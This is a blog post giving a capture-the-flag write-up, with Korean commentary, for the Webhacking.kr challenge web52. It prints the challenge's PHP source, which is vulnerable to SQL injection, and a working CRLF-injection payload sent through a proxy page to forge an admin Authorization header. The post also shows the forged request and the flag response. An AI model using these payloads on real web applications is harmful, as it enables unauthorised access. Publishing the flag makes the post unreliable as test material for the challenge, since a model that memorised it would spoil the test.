Post

Webhacking.kr - web52

web52



1
2
3
Your mission is to access admin page
guest account is guest / guest
here is proxy just for fun


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// admin page
<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
  $_SESSION['login']="";
  exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
  echo "hi {$_SESSION['login']}<br>";
  if($_SESSION['login'] == "admin"){
    if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
    else echo "Only access from virtual IP address";
  }
  else echo "You are not admin";
  echo "<br><a href=./?logout=1>[logout]</a>";
  exit;
}
if(!$_SESSION['login']){
  if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
  }
  if($_SERVER['PHP_AUTH_USER']){
    $id = $_SERVER['PHP_AUTH_USER'];
    $pw = $_SERVER['PHP_AUTH_PW'];
    $pw = md5($pw);
    $db = dbconnect();
    $query = "select id from member where id='{$id}' and pw='{$pw}'";
    $result = mysqli_fetch_array(mysqli_query($db,$query));
    if($result['id']){
      $_SESSION['login'] = $result['id'];
      exit("<script>location.href='./';</script>");
    }
  }
  if(!$_SESSION['login']){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo "Login Fail";
  }
}
?>






Solution



우선 로그인을 할 때 쿼리를 보면 sql injection을 할 수 있으므로 admin으로 로그인 하는 건 가능하다.

여기서 이제 클라이언트 ip 주소를 172.17.0.x로 어떻게 바꾸는가가 문제였다. 보면 내부 IP 대역이다.

문제를 보면 proxy.php가 있다. 페이지를 보면 HTTP 요청과 응답을 보여준다.


우선 admin으로 로그인하여 세션을 만들어 둔다.

그 다음 proxy.php에서 파라미터로 page 값이 있는데 여기에 /admin이라고 입력하면 301 응답코드가 온다.

page=/admin/으로 하면 인증을 하지 않았으므로 Unauthorized가 뜬다.

여기서 취약점은 우리가 Request 값을 조작할 수 있다는 점이다.


헤더는 CRLF로 끝나게 되어 있다.

따라서 CRLF로 값을 주면서 Request 헤더에 인증 헤더를 넣어주면 admin임을 인증할 수 있다.


CR의 ASCII 값은 %0d, LF의 ASCII 값은 %0a이다.


payload
page=/admin/%20HTTP/1.1%0d%0aAuthorization:%20Basic%20YWRtaW4nIC0tIDo=%0d%0aHost:%20webhacking.kr:10008%0d%0aCookie:%20PHPSESSID={COOKIE}%0d%0aConnection:%20close%0d%0a%0d%0aGET%20/admin/


위와 같이 payload를 보내면 Request는 아래와 같이 나오게 되고 Response에 FLAG가 출력이 된다.


1
2
3
4
5
6
7
8
9
page: /admin/ HTTP/1.1
Authorization: Basic YWRtaW4nIC0tIDo=
Host: webhacking.kr:10008
Cookie: PHPSESSID={COOKIE}
Connection: close

GET /admin/ HTTP/1.1
Host: webhacking.kr:10008
Connection: Close


1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Date: Wed, 16 Mar 2022 07:10:10 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 93
Connection: close
Content-Type: text/html; charset=UTF-8

hi admin
FLAG{Server_Side_Request_Forgery_with_proxy!}
[logout]


  • Flag : FLAG{Server_Side_Request_Forgery_with_proxy!}






This post is licensed under CC BY 4.0 by the author.